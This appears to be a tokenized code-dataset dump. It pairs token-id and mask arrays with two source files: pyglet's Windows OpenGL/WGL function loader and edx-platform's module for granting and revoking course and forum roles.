[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
regular/pyglet-avbin-optimizations
pyglet/gl/lib_wgl.py
1
5718
# ---------------------------------------------------------------------------- # pyglet # Copyright (c) 2006-2008 Alex Holkner # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in # the documentation and/or other materials provided with the # distribution. # * Neither the name of pyglet nor the names of its # contributors may be used to endorse or promote products # derived from this software without specific prior written # permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS # FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE # COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, # INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, # BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER # CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT # LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN # ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. # ---------------------------------------------------------------------------- ''' ''' __docformat__ = 'restructuredtext' __version__ = '$Id: lib_glx.py 597 2007-02-03 16:13:07Z Alex.Holkner $' import ctypes from ctypes import * import pyglet from pyglet.gl.lib import missing_function, decorate_function __all__ = ['link_GL', 'link_GLU', 'link_WGL'] _debug_trace = pyglet.options['debug_trace'] gl_lib = ctypes.windll.opengl32 glu_lib = ctypes.windll.glu32 wgl_lib = gl_lib if _debug_trace: from pyglet.lib import _TraceLibrary gl_lib = _TraceLibrary(gl_lib) glu_lib = _TraceLibrary(glu_lib) wgl_lib = _TraceLibrary(wgl_lib) try: wglGetProcAddress = wgl_lib.wglGetProcAddress wglGetProcAddress.restype = CFUNCTYPE(POINTER(c_int)) wglGetProcAddress.argtypes = [c_char_p] _have_get_proc_address = True except AttributeError: _have_get_proc_address = False class WGLFunctionProxy(object): __slots__ = ['name', 'requires', 'suggestions', 'ftype', 'func'] def __init__(self, name, ftype, requires, suggestions): assert _have_get_proc_address self.name = name self.ftype = ftype self.requires = requires self.suggestions = suggestions self.func = None def __call__(self, *args, **kwargs): if self.func: return self.func(*args, **kwargs) from pyglet.gl import current_context if not current_context: raise Exception( 'Call to function "%s" before GL context created' % self.name) address = wglGetProcAddress(self.name) if cast(address, POINTER(c_int)): # check cast because address is func self.func = cast(address, self.ftype) decorate_function(self.func, self.name) else: self.func = missing_function( self.name, self.requires, self.suggestions) result = self.func(*args, **kwargs) return result def link_GL(name, restype, argtypes, requires=None, suggestions=None): try: func = getattr(gl_lib, name) func.restype = restype func.argtypes = argtypes decorate_function(func, name) return func except AttributeError: # Not in opengl32.dll. Try and get a pointer from WGL. try: fargs = (restype,) + tuple(argtypes) ftype = ctypes.WINFUNCTYPE(*fargs) if _have_get_proc_address: from pyglet.gl import gl_info if gl_info.have_context(): address = wglGetProcAddress(name) if address: func = cast(address, ftype) decorate_function(func, name) return func else: # Insert proxy until we have a context return WGLFunctionProxy(name, ftype, requires, suggestions) except: pass return missing_function(name, requires, suggestions) def link_GLU(name, restype, argtypes, requires=None, suggestions=None): try: func = getattr(glu_lib, name) func.restype = restype func.argtypes = argtypes decorate_function(func, name) return func except AttributeError: # Not in glu32.dll. Try and get a pointer from WGL. try: fargs = (restype,) + tuple(argtypes) ftype = ctypes.WINFUNCTYPE(*fargs) if _have_get_proc_address: from pyglet.gl import gl_info if gl_info.have_context(): address = wglGetProcAddress(name) if address: func = cast(address, ftype) decorate_function(func, name) return func else: # Insert proxy until we have a context return WGLFunctionProxy(name, ftype, requires, suggestions) except: pass return missing_function(name, requires, suggestions) link_WGL = link_GL
bsd-3-clause
[ 3, 27103, 199, 3, 23409, 199, 3, 1898, 334, 67, 9, 8315, 13, 9300, 22986, 869, 393, 75, 1372, 199, 3, 2900, 4481, 4644, 14, 199, 3, 221, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 221, 199, 3, 787, 7647, 26, 199, 3, 199, 3, 221, 627, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 199, 3, 259, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 221, 627, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 4248, 221, 199, 3, 259, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 315, 199, 3, 259, 314, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 199, 3, 259, 4084, 14, 199, 3, 221, 627, 11443, 314, 536, 402, 23409, 6590, 314, 1561, 402, 2399, 199, 3, 259, 8417, 1443, 506, 1202, 370, 10692, 503, 10016, 7585, 199, 3, 259, 7131, 687, 642, 2032, 1928, 2488, 6791, 5313, 199, 3, 259, 4983, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 5877, 8164, 2401, 6483, 199, 3, 298, 1179, 2281, 2, 2401, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 2334, 5292, 2990, 1634, 3169, 2401, 3092, 199, 3, 2381, 437, 3115, 3104, 9315, 9706, 14, 1621, 4825, 6461, 7000, 2334, 199, 3, 5877, 11489, 1549, 6483, 6262, 7024, 2381, 1821, 8703, 12, 9168, 12, 199, 3, 9716, 12, 8820, 12, 9836, 12, 1549, 9110, 6736, 334, 6446, 12, 199, 3, 5400, 2845, 5471, 2296, 12, 9838, 1634, 9103, 9764, 1549, 9714, 27, 199, 3, 9102, 1634, 4815, 12, 7126, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 9802, 199, 3, 9817, 2401, 5258, 1821, 9815, 1634, 5603, 12, 7061, 1621, 7066, 12, 9644, 199, 3, 5603, 12, 1549, 7056, 334, 6446, 9254, 1549, 7334, 9, 7043, 1621, 199, 3, 1821, 9683, 5738, 1634, 2334, 4815, 1634, 5749, 4141, 12, 9704, 8036, 9691, 1634, 2334, 199, 3, 9726, 1634, 9712, 9784, 14, 199, 3, 27103, 199, 199, 2344, 199, 2344, 199, 199, 363, 21841, 363, 275, 283, 26854, 7, 199, 363, 1023, 363, 275, 4505, 1304, 26, 1973, 63, 18660, 14, 647, 959, 2576, 10219, 13, 996, 13, 1644, 3193, 26, 969, 26, 1780, 58, 22986, 14, 40, 393, 75, 1372, 2672, 7, 199, 199, 646, 5577, 199, 504, 5577, 492, 627, 199, 199, 646, 23409, 199, 504, 23409, 14, 3528, 14, 773, 492, 4124, 63, 1593, 12, 24774, 63, 1593, 199, 199, 363, 452, 363, 275, 788, 1073, 63, 2226, 297, 283, 1073, 63, 20935, 297, 283, 1073, 63, 31568, 418, 199, 199, 63, 1757, 63, 3446, 275, 23409, 14, 1419, 459, 1757, 63, 3446, 418, 199, 199, 3528, 63, 773, 275, 5577, 14, 25522, 14, 32477, 708, 199, 27191, 63, 773, 275, 5577, 14, 25522, 14, 27191, 708, 199, 87, 3528, 63, 773, 275, 6482, 63, 773, 199, 199, 692, 485, 1757, 63, 3446, 26, 272, 687, 23409, 14, 773, 492, 485, 3921, 7424, 272, 6482, 63, 773, 275, 485, 3921, 7424, 8, 3528, 63, 773, 9, 272, 6482, 85, 63, 773, 275, 485, 3921, 7424, 8, 27191, 63, 773, 9, 272, 336, 3528, 63, 773, 275, 485, 3921, 7424, 8, 87, 3528, 63, 773, 9, 199, 199, 893, 26, 272, 336, 19681, 15019, 1476, 275, 336, 3528, 63, 773, 14, 87, 19681, 15019, 1476, 272, 336, 19681, 15019, 1476, 14, 9990, 275, 11093, 8, 11260, 8, 67, 63, 442, 430, 272, 336, 19681, 15019, 1476, 14, 10025, 275, 359, 67, 63, 1560, 63, 80, 61, 272, 485, 7804, 63, 362, 63, 4687, 63, 1562, 275, 715, 199, 2590, 4281, 26, 272, 485, 7804, 63, 362, 63, 4687, 63, 1562, 275, 756, 199, 199, 533, 644, 2226, 3481, 4936, 8, 785, 304, 272, 636, 7257, 363, 275, 788, 354, 297, 283, 6537, 297, 283, 19957, 15293, 297, 283, 10386, 297, 283, 1532, 418, 272, 347, 636, 826, 721, 277, 12, 536, 12, 8570, 12, 5074, 12, 18453, 15293, 304, 267, 702, 485, 7804, 63, 362, 63, 4687, 63, 1562, 267, 291, 14, 354, 275, 536, 267, 291, 14, 10386, 275, 8570, 267, 291, 14, 6537, 275, 5074, 267, 291, 14, 19957, 15293, 275, 18453, 15293, 267, 291, 14, 1532, 275, 488, 339, 347, 636, 1250, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 340, 291, 14, 1532, 26, 288, 372, 291, 14, 1532, 2031, 589, 12, 1011, 958, 9, 398, 687, 23409, 14, 3528, 492, 1453, 63, 1100, 267, 340, 440, 1453, 63, 1100, 26, 288, 746, 2186, 8, 355, 283, 2176, 370, 805, 2071, 83, 2, 2544, 3563, 1067, 2737, 7, 450, 291, 14, 354, 9, 267, 2287, 275, 336, 19681, 15019, 1476, 8, 277, 14, 354, 9, 267, 340, 9106, 8, 1562, 12, 6569, 8, 67, 63, 442, 2298, 221, 327, 1104, 9106, 2952, 2287, 365, 2562, 288, 291, 14, 1532, 275, 9106, 8, 1562, 12, 291, 14, 10386, 9, 288, 24774, 63, 1593, 8, 277, 14, 1532, 12, 291, 14, 354, 9, 267, 587, 26, 288, 291, 14, 1532, 275, 4124, 63, 1593, 8, 355, 291, 14, 354, 12, 291, 14, 6537, 12, 291, 14, 19957, 15293, 9, 267, 754, 275, 291, 14, 1532, 2031, 589, 12, 1011, 958, 9, 4960, 372, 754, 199, 199, 318, 2142, 63, 2226, 8, 354, 12, 4618, 514, 12, 29669, 12, 5074, 29, 403, 12, 18453, 15293, 29, 403, 304, 272, 862, 26, 267, 2562, 275, 2519, 8, 3528, 63, 773, 12, 536, 9, 267, 2562, 14, 9990, 275, 4618, 514, 267, 2562, 14, 10025, 275, 29669, 267, 24774, 63, 1593, 8, 1532, 12, 536, 9, 267, 372, 2562, 272, 871, 4281, 26, 267, 327, 2832, 315, 1551, 3528, 708, 14, 9259, 14, 7649, 436, 664, 282, 7849, 687, 644, 2226, 14, 267, 862, 26, 288, 289, 589, 275, 334, 9990, 4258, 435, 2008, 8, 10025, 9, 288, 8570, 275, 5577, 14, 7941, 9309, 7540, 2031, 70, 589, 9, 288, 340, 485, 7804, 63, 362, 63, 4687, 63, 1562, 26, 355, 687, 23409, 14, 3528, 492, 6482, 63, 815, 355, 340, 6482, 63, 815, 14, 7804, 63, 1100, 837 ]
[ 27103, 199, 3, 23409, 199, 3, 1898, 334, 67, 9, 8315, 13, 9300, 22986, 869, 393, 75, 1372, 199, 3, 2900, 4481, 4644, 14, 199, 3, 221, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 221, 199, 3, 787, 7647, 26, 199, 3, 199, 3, 221, 627, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 199, 3, 259, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 221, 627, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 4248, 221, 199, 3, 259, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 315, 199, 3, 259, 314, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 199, 3, 259, 4084, 14, 199, 3, 221, 627, 11443, 314, 536, 402, 23409, 6590, 314, 1561, 402, 2399, 199, 3, 259, 8417, 1443, 506, 1202, 370, 10692, 503, 10016, 7585, 199, 3, 259, 7131, 687, 642, 2032, 1928, 2488, 6791, 5313, 199, 3, 259, 4983, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 5877, 8164, 2401, 6483, 199, 3, 298, 1179, 2281, 2, 2401, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 2334, 5292, 2990, 1634, 3169, 2401, 3092, 199, 3, 2381, 437, 3115, 3104, 9315, 9706, 14, 1621, 4825, 6461, 7000, 2334, 199, 3, 5877, 11489, 1549, 6483, 6262, 7024, 2381, 1821, 8703, 12, 9168, 12, 199, 3, 9716, 12, 8820, 12, 9836, 12, 1549, 9110, 6736, 334, 6446, 12, 199, 3, 5400, 2845, 5471, 2296, 12, 9838, 1634, 9103, 9764, 1549, 9714, 27, 199, 3, 9102, 1634, 4815, 12, 7126, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 9802, 199, 3, 9817, 2401, 5258, 1821, 9815, 1634, 5603, 12, 7061, 1621, 7066, 12, 9644, 199, 3, 5603, 12, 1549, 7056, 334, 6446, 9254, 1549, 7334, 9, 7043, 1621, 199, 3, 1821, 9683, 5738, 1634, 2334, 4815, 1634, 5749, 4141, 12, 9704, 8036, 9691, 1634, 2334, 199, 3, 9726, 1634, 9712, 9784, 14, 199, 3, 27103, 199, 199, 2344, 199, 2344, 199, 199, 363, 21841, 363, 275, 283, 26854, 7, 199, 363, 1023, 363, 275, 4505, 1304, 26, 1973, 63, 18660, 14, 647, 959, 2576, 10219, 13, 996, 13, 1644, 3193, 26, 969, 26, 1780, 58, 22986, 14, 40, 393, 75, 1372, 2672, 7, 199, 199, 646, 5577, 199, 504, 5577, 492, 627, 199, 199, 646, 23409, 199, 504, 23409, 14, 3528, 14, 773, 492, 4124, 63, 1593, 12, 24774, 63, 1593, 199, 199, 363, 452, 363, 275, 788, 1073, 63, 2226, 297, 283, 1073, 63, 20935, 297, 283, 1073, 63, 31568, 418, 199, 199, 63, 1757, 63, 3446, 275, 23409, 14, 1419, 459, 1757, 63, 3446, 418, 199, 199, 3528, 63, 773, 275, 5577, 14, 25522, 14, 32477, 708, 199, 27191, 63, 773, 275, 5577, 14, 25522, 14, 27191, 708, 199, 87, 3528, 63, 773, 275, 6482, 63, 773, 199, 199, 692, 485, 1757, 63, 3446, 26, 272, 687, 23409, 14, 773, 492, 485, 3921, 7424, 272, 6482, 63, 773, 275, 485, 3921, 7424, 8, 3528, 63, 773, 9, 272, 6482, 85, 63, 773, 275, 485, 3921, 7424, 8, 27191, 63, 773, 9, 272, 336, 3528, 63, 773, 275, 485, 3921, 7424, 8, 87, 3528, 63, 773, 9, 199, 199, 893, 26, 272, 336, 19681, 15019, 1476, 275, 336, 3528, 63, 773, 14, 87, 19681, 15019, 1476, 272, 336, 19681, 15019, 1476, 14, 9990, 275, 11093, 8, 11260, 8, 67, 63, 442, 430, 272, 336, 19681, 15019, 1476, 14, 10025, 275, 359, 67, 63, 1560, 63, 80, 61, 272, 485, 7804, 63, 362, 63, 4687, 63, 1562, 275, 715, 199, 2590, 4281, 26, 272, 485, 7804, 63, 362, 63, 4687, 63, 1562, 275, 756, 199, 199, 533, 644, 2226, 3481, 4936, 8, 785, 304, 272, 636, 7257, 363, 275, 788, 354, 297, 283, 6537, 297, 283, 19957, 15293, 297, 283, 10386, 297, 283, 1532, 418, 272, 347, 636, 826, 721, 277, 12, 536, 12, 8570, 12, 5074, 12, 18453, 15293, 304, 267, 702, 485, 7804, 63, 362, 63, 4687, 63, 1562, 267, 291, 14, 354, 275, 536, 267, 291, 14, 10386, 275, 8570, 267, 291, 14, 6537, 275, 5074, 267, 291, 14, 19957, 15293, 275, 18453, 15293, 267, 291, 14, 1532, 275, 488, 339, 347, 636, 1250, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 340, 291, 14, 1532, 26, 288, 372, 291, 14, 1532, 2031, 589, 12, 1011, 958, 9, 398, 687, 23409, 14, 3528, 492, 1453, 63, 1100, 267, 340, 440, 1453, 63, 1100, 26, 288, 746, 2186, 8, 355, 283, 2176, 370, 805, 2071, 83, 2, 2544, 3563, 1067, 2737, 7, 450, 291, 14, 354, 9, 267, 2287, 275, 336, 19681, 15019, 1476, 8, 277, 14, 354, 9, 267, 340, 9106, 8, 1562, 12, 6569, 8, 67, 63, 442, 2298, 221, 327, 1104, 9106, 2952, 2287, 365, 2562, 288, 291, 14, 1532, 275, 9106, 8, 1562, 12, 291, 14, 10386, 9, 288, 24774, 63, 1593, 8, 277, 14, 1532, 12, 291, 14, 354, 9, 267, 587, 26, 288, 291, 14, 1532, 275, 4124, 63, 1593, 8, 355, 291, 14, 354, 12, 291, 14, 6537, 12, 291, 14, 19957, 15293, 9, 267, 754, 275, 291, 14, 1532, 2031, 589, 12, 1011, 958, 9, 4960, 372, 754, 199, 199, 318, 2142, 63, 2226, 8, 354, 12, 4618, 514, 12, 29669, 12, 5074, 29, 403, 12, 18453, 15293, 29, 403, 304, 272, 862, 26, 267, 2562, 275, 2519, 8, 3528, 63, 773, 12, 536, 9, 267, 2562, 14, 9990, 275, 4618, 514, 267, 2562, 14, 10025, 275, 29669, 267, 24774, 63, 1593, 8, 1532, 12, 536, 9, 267, 372, 2562, 272, 871, 4281, 26, 267, 327, 2832, 315, 1551, 3528, 708, 14, 9259, 14, 7649, 436, 664, 282, 7849, 687, 644, 2226, 14, 267, 862, 26, 288, 289, 589, 275, 334, 9990, 4258, 435, 2008, 8, 10025, 9, 288, 8570, 275, 5577, 14, 7941, 9309, 7540, 2031, 70, 589, 9, 288, 340, 485, 7804, 63, 362, 63, 4687, 63, 1562, 26, 355, 687, 23409, 14, 3528, 492, 6482, 63, 815, 355, 340, 6482, 63, 815, 14, 7804, 63, 1100, 837, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
pomegranited/edx-platform
lms/djangoapps/instructor/access.py
16
3036
""" Access control operations for use by instructor APIs. Does not include any access control, be sure to check access before calling. TO DO sync instructor and staff flags e.g. should these be possible? {instructor: true, staff: false} {instructor: true, staff: true} """ import logging from django_comment_common.models import Role from student.roles import ( CourseBetaTesterRole, CourseInstructorRole, CourseCcxCoachRole, CourseStaffRole, ) from instructor.enrollment import ( enroll_email, get_email_params, ) log = logging.getLogger(__name__) ROLES = { 'beta': CourseBetaTesterRole, 'instructor': CourseInstructorRole, 'staff': CourseStaffRole, 'ccx_coach': CourseCcxCoachRole, } def list_with_level(course, level): """ List users who have 'level' access. `level` is in ['instructor', 'staff', 'beta'] for standard courses. There could be other levels specific to the course. If there is no Group for that course-level, returns an empty list """ return ROLES[level](course.id).users_with_role() def allow_access(course, user, level): """ Allow user access to course modification. `level` is one of ['instructor', 'staff', 'beta'] """ _change_access(course, user, level, 'allow') def revoke_access(course, user, level): """ Revoke access from user to course modification. `level` is one of ['instructor', 'staff', 'beta'] """ _change_access(course, user, level, 'revoke') def _change_access(course, user, level, action): """ Change access of user. `level` is one of ['instructor', 'staff', 'beta'] action is one of ['allow', 'revoke'] NOTE: will create a group if it does not yet exist. """ try: role = ROLES[level](course.id) except KeyError: raise ValueError("unrecognized level '{}'".format(level)) if action == 'allow': if level == 'ccx_coach': email_params = get_email_params(course, True) enroll_email( course_id=course.id, student_email=user.email, auto_enroll=True, email_students=True, email_params=email_params, ) role.add_users(user) elif action == 'revoke': role.remove_users(user) else: raise ValueError("unrecognized action '{}'".format(action)) def update_forum_role(course_id, user, rolename, action): """ Change forum access of user. `rolename` is one of [FORUM_ROLE_ADMINISTRATOR, FORUM_ROLE_MODERATOR, FORUM_ROLE_COMMUNITY_TA] `action` is one of ['allow', 'revoke'] if `action` is bad, raises ValueError if `rolename` does not exist, raises Role.DoesNotExist """ role = Role.objects.get(course_id=course_id, name=rolename) if action == 'allow': role.users.add(user) elif action == 'revoke': role.users.remove(user) else: raise ValueError("unrecognized action '{}'".format(action))
agpl-3.0
[ 624, 199, 3946, 3304, 5331, 367, 675, 701, 17724, 15913, 14, 199, 199, 6586, 440, 2387, 1263, 2879, 3304, 12, 506, 3238, 370, 1104, 2879, 2544, 6358, 14, 199, 199, 2566, 3506, 7604, 17724, 436, 12622, 3285, 272, 325, 14, 71, 14, 1077, 3520, 506, 3962, 31, 267, 469, 14891, 26, 2549, 12, 12622, 26, 3055, 93, 267, 469, 14891, 26, 2549, 12, 12622, 26, 2549, 93, 199, 624, 199, 199, 646, 2050, 199, 504, 1639, 63, 3349, 63, 2330, 14, 992, 492, 18033, 199, 199, 504, 6474, 14, 8050, 492, 334, 272, 5531, 21732, 22403, 7422, 12, 272, 5531, 30742, 7422, 12, 272, 5531, 35, 11859, 967, 1225, 7422, 12, 272, 5531, 18963, 7422, 12, 199, 9, 199, 199, 504, 17724, 14, 12214, 492, 334, 272, 26361, 63, 2123, 12, 272, 664, 63, 2123, 63, 1162, 12, 199, 9, 199, 199, 793, 275, 2050, 14, 5572, 3460, 354, 3368, 199, 199, 6245, 654, 275, 469, 272, 283, 5683, 356, 5531, 21732, 22403, 7422, 12, 272, 283, 14891, 356, 5531, 30742, 7422, 12, 272, 283, 7018, 356, 5531, 18963, 7422, 12, 272, 283, 19541, 63, 331, 1225, 356, 5531, 35, 11859, 967, 1225, 7422, 12, 199, 93, 421, 199, 318, 769, 63, 1045, 63, 1896, 8, 1972, 12, 2166, 304, 272, 408, 272, 3820, 4390, 3963, 1172, 283, 1896, 7, 2879, 14, 339, 658, 1896, 64, 365, 315, 788, 14891, 297, 283, 7018, 297, 283, 5683, 418, 367, 4465, 13588, 14, 272, 6006, 4293, 506, 1163, 11106, 2488, 370, 314, 2518, 14, 272, 982, 2337, 365, 949, 5611, 367, 626, 2518, 13, 1896, 12, 2529, 376, 2701, 769, 272, 408, 272, 372, 820, 2228, 654, 59, 1896, 8738, 1972, 14, 344, 680, 3707, 63, 1045, 63, 3756, 342, 421, 199, 318, 2040, 63, 2732, 8, 1972, 12, 922, 12, 2166, 304, 272, 408, 272, 9812, 922, 2879, 370, 2518, 7100, 14, 339, 658, 1896, 64, 365, 1373, 402, 788, 14891, 297, 283, 7018, 297, 283, 5683, 418, 272, 408, 272, 485, 1461, 63, 2732, 8, 1972, 12, 922, 12, 2166, 12, 283, 3306, 358, 421, 199, 318, 31849, 63, 2732, 8, 1972, 12, 922, 12, 2166, 304, 272, 408, 272, 799, 6720, 2879, 687, 922, 370, 2518, 7100, 14, 339, 658, 1896, 64, 365, 1373, 402, 788, 14891, 297, 283, 7018, 297, 283, 5683, 418, 272, 408, 272, 485, 1461, 63, 2732, 8, 1972, 12, 922, 12, 2166, 12, 283, 24445, 358, 421, 199, 318, 485, 1461, 63, 2732, 8, 1972, 12, 922, 12, 2166, 12, 1595, 304, 272, 408, 272, 7743, 2879, 402, 922, 14, 339, 658, 1896, 64, 365, 1373, 402, 788, 14891, 297, 283, 7018, 297, 283, 5683, 418, 272, 1595, 365, 1373, 402, 788, 3306, 297, 283, 24445, 418, 339, 6944, 26, 911, 1218, 282, 1572, 340, 652, 1630, 440, 5966, 2187, 14, 272, 408, 339, 862, 26, 267, 4719, 275, 820, 2228, 654, 59, 1896, 8738, 1972, 14, 344, 9, 272, 871, 4067, 26, 267, 746, 1722, 480, 324, 13221, 2166, 19574, 1674, 908, 8, 1896, 430, 339, 340, 1595, 508, 283, 3306, 356, 267, 340, 2166, 508, 283, 19541, 63, 331, 1225, 356, 288, 3031, 63, 1162, 275, 664, 63, 2123, 63, 1162, 8, 1972, 12, 715, 9, 288, 26361, 63, 2123, 8, 355, 2518, 63, 344, 29, 1972, 14, 344, 12, 355, 6474, 63, 2123, 29, 751, 14, 2123, 12, 355, 2599, 63, 14695, 29, 549, 12, 355, 3031, 63, 17921, 29, 549, 12, 355, 3031, 63, 1162, 29, 2123, 63, 1162, 12, 288, 776, 267, 4719, 14, 525, 63, 3707, 8, 751, 9, 272, 916, 1595, 508, 283, 24445, 356, 267, 4719, 14, 2168, 63, 3707, 8, 751, 9, 272, 587, 26, 267, 746, 1722, 480, 324, 13221, 1595, 19574, 1674, 908, 8, 1287, 430, 421, 199, 318, 1678, 63, 10044, 63, 3756, 8, 1972, 63, 344, 12, 922, 12, 4719, 354, 12, 1595, 304, 272, 408, 272, 7743, 21575, 2879, 402, 922, 14, 339, 658, 3756, 354, 64, 365, 1373, 402, 359, 2707, 2639, 63, 15468, 63, 14288, 21340, 6467, 12, 2381, 2639, 63, 15468, 63, 8816, 540, 6467, 12, 2381, 2639, 63, 15468, 63, 5378, 1734, 1922, 63, 6166, 61, 272, 658, 1287, 64, 365, 1373, 402, 788, 3306, 297, 283, 24445, 418, 339, 340, 658, 1287, 64, 365, 4875, 12, 6534, 1722, 272, 340, 658, 3756, 354, 64, 1630, 440, 2187, 12, 6534, 18033, 14, 7400, 272, 408, 272, 4719, 275, 18033, 14, 1462, 14, 362, 8, 1972, 63, 344, 29, 1972, 63, 344, 12, 536, 29, 3756, 354, 9, 339, 340, 1595, 508, 283, 3306, 356, 267, 4719, 14, 3707, 14, 525, 8, 751, 9, 272, 916, 1595, 508, 283, 24445, 356, 267, 4719, 14, 3707, 14, 2168, 8, 751, 9, 272, 587, 26, 267, 746, 1722, 480, 324, 13221, 1595, 19574, 1674, 908, 8, 1287, 430, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 